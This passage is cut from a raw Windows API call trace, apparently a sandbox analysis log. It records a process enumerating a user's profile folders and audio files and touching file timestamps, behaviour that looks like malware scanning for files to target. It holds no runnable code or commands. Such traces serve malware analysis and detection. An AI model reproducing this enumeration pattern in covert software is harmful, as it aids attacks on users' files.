ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="")) returned 1 [0090.853] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="")) returned 1 [0090.853] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="")) returned 0 [0090.853] GetLastError () returned 0x12 [0090.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.853] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0090.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.854] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="")) returned 1 [0090.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.854] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0090.854] GetLastError () returned 0x5 [0090.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0090.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.855] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0090.855] GetLastError () returned 0x5 [0090.855] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0090.855] GetLastError () returned 0x5 [0090.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0090.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.856] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f667410, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f667410, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0090.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.857] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f667410, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f667410, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0090.857] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0090.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.857] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0090.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.858] NtClose (Handle=0x178) returned 0x0 [0090.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0090.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.859] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0090.859] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f667410, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f667410, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.859] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5ad8 [0090.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0090.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.860] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48d8d90, ftCreationTime.dwHighDateTime=0x1d5c3d1, ftLastAccessTime.dwLowDateTime=0xb66012f0, ftLastAccessTime.dwHighDateTime=0x1d5bf31, ftLastWriteTime.dwLowDateTime=0xb66012f0, ftLastWriteTime.dwHighDateTime=0x1d5bf31, nFileSizeHigh=0x0, nFileSizeLow=0x69a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e5pQl7xHqwE-dbgx.mp3", cAlternateFileName="")) returned 1 [0090.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5af8 [0090.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0090.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.862] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59ab0730, ftCreationTime.dwHighDateTime=0x1d5bda2, ftLastAccessTime.dwLowDateTime=0xabd13db0, ftLastAccessTime.dwHighDateTime=0x1d5c467, ftLastWriteTime.dwLowDateTime=0xabd13db0, ftLastWriteTime.dwHighDateTime=0x1d5c467, nFileSizeHigh=0x0, nFileSizeLow=0xdc08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EvvmODGJ1uewhDGhCg.wav", cAlternateFileName="")) returned 1 [0090.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5b18 [0090.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0090.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.863] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937ef210, ftCreationTime.dwHighDateTime=0x1d5c530, ftLastAccessTime.dwLowDateTime=0xf384d200, ftLastAccessTime.dwHighDateTime=0x1d5c5b8, ftLastWriteTime.dwLowDateTime=0xf384d200, ftLastWriteTime.dwHighDateTime=0x1d5c5b8, nFileSizeHigh=0x0, nFileSizeLow=0xab58, dwReserved0=0x0, dwReserved1=0x0, cFileName="fKu1yrLnyU2cH.mp3", cAlternateFileName="")) returned 1 [0090.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5b38 [0090.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0090.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.865] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7e9ad0, ftCreationTime.dwHighDateTime=0x1d5bb26, ftLastAccessTime.dwLowDateTime=0x12e64c00, ftLastAccessTime.dwHighDateTime=0x1d5b7f9, ftLastWriteTime.dwLowDateTime=0x12e64c00, ftLastWriteTime.dwHighDateTime=0x1d5b7f9, nFileSizeHigh=0x0, nFileSizeLow=0x17b40, dwReserved0=0x0, dwReserved1=0x0, cFileName="fNLgb.wav", cAlternateFileName="")) returned 1 [0090.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5b58 [0090.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e1c8 [0090.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.867] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe8a00a0, ftCreationTime.dwHighDateTime=0x1d5b84f, ftLastAccessTime.dwLowDateTime=0x253a5720, ftLastAccessTime.dwHighDateTime=0x1d5ba2e, ftLastWriteTime.dwLowDateTime=0x253a5720, ftLastWriteTime.dwHighDateTime=0x1d5ba2e, nFileSizeHigh=0x0, nFileSizeLow=0x535c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GyzLq5.mp3", cAlternateFileName="")) returned 1 [0090.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5b78 [0090.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e250 [0090.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.869] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b1ddfb0, ftCreationTime.dwHighDateTime=0x1d5c47b, ftLastAccessTime.dwLowDateTime=0xa78a1da0, ftLastAccessTime.dwHighDateTime=0x1d5c334, ftLastWriteTime.dwLowDateTime=0xa78a1da0, ftLastWriteTime.dwHighDateTime=0x1d5c334, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jj c_2QZ5BKu", cAlternateFileName="")) returned 1 [0090.869] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50efe460, ftCreationTime.dwHighDateTime=0x1d5b58e, ftLastAccessTime.dwLowDateTime=0xed8921f0, ftLastAccessTime.dwHighDateTime=0x1d5c476, ftLastWriteTime.dwLowDateTime=0xed8921f0, ftLastWriteTime.dwHighDateTime=0x1d5c476, nFileSizeHigh=0x0, nFileSizeLow=0x130eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="kfN1z5GDLGs.wav", cAlternateFileName="")) returned 1 [0090.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5b98 [0090.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0090.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.870] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5711b3c0, ftCreationTime.dwHighDateTime=0x1d5b604, ftLastAccessTime.dwLowDateTime=0x490eb3a0, ftLastAccessTime.dwHighDateTime=0x1d5b8fb, ftLastWriteTime.dwLowDateTime=0x490eb3a0, ftLastWriteTime.dwHighDateTime=0x1d5b8fb, nFileSizeHigh=0x0, nFileSizeLow=0x3c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PgzErx50-YtBRfhfD.wav", cAlternateFileName="")) returned 1 [0090.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5bb8 [0090.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0090.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.872] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82686bd0, ftCreationTime.dwHighDateTime=0x1d5b93e, ftLastAccessTime.dwLowDateTime=0xbd27cf20, ftLastAccessTime.dwHighDateTime=0x1d5b6bb, ftLastWriteTime.dwLowDateTime=0xbd27cf20, ftLastWriteTime.dwHighDateTime=0x1d5b6bb, nFileSizeHigh=0x0, nFileSizeLow=0x13881, dwReserved0=0x0, dwReserved1=0x0, cFileName="RgVmA64S-R.mp3", cAlternateFileName="")) returned 1 [0090.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5bd8 [0090.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0090.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.874] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c2e370, ftCreationTime.dwHighDateTime=0x1d5c52f, ftLastAccessTime.dwLowDateTime=0xa13fc1c0, ftLastAccessTime.dwHighDateTime=0x1d5b704, ftLastWriteTime.dwLowDateTime=0xa13fc1c0, ftLastWriteTime.dwHighDateTime=0x1d5b704, nFileSizeHigh=0x0, nFileSizeLow=0x2ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whFkSPL.m4a", cAlternateFileName="")) returned 1 [0090.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5bf8 [0090.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0090.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.876] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55a6e230, ftCreationTime.dwHighDateTime=0x1d5c5f4, ftLastAccessTime.dwLowDateTime=0xaf5226b0, ftLastAccessTime.dwHighDateTime=0x1d5bcca, ftLastWriteTime.dwLowDateTime=0xaf5226b0, ftLastWriteTime.dwHighDateTime=0x1d5bcca, nFileSizeHigh=0x0, nFileSizeLow=0x13901, dwReserved0=0x0, dwReserved1=0x0, cFileName="xtxw1LHQv95kQBYM.m4a", cAlternateFileName="")) returned 1 [0090.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5c18 [0090.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250cd0 [0090.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.877] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55a6e230, ftCreationTime.dwHighDateTime=0x1d5c5f4, ftLastAccessTime.dwLowDateTime=0xaf5226b0, ftLastAccessTime.dwHighDateTime=0x1d5bcca, ftLastWriteTime.dwLowDateTime=0xaf5226b0, ftLastWriteTime.dwHighDateTime=0x1d5bcca, nFileSizeHigh=0x0, nFileSizeLow=0x13901, dwReserved0=0x0, dwReserved1=0x0, cFileName="xtxw1LHQv95kQBYM.m4a", cAlternateFileName="")) returned 0 [0090.877] GetLastError () returned 0x12 [0090.877] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0090.878] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.878] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f667410, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f667410, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.878] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.878] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48d8d90, ftCreationTime.dwHighDateTime=0x1d5c3d1, ftLastAccessTime.dwLowDateTime=0xb66012f0, ftLastAccessTime.dwHighDateTime=0x1d5bf31, ftLastWriteTime.dwLowDateTime=0xb66012f0, ftLastWriteTime.dwHighDateTime=0x1d5bf31, nFileSizeHigh=0x0, nFileSizeLow=0x69a0, dwReserved0=0x0, dwReserved1=0x0, 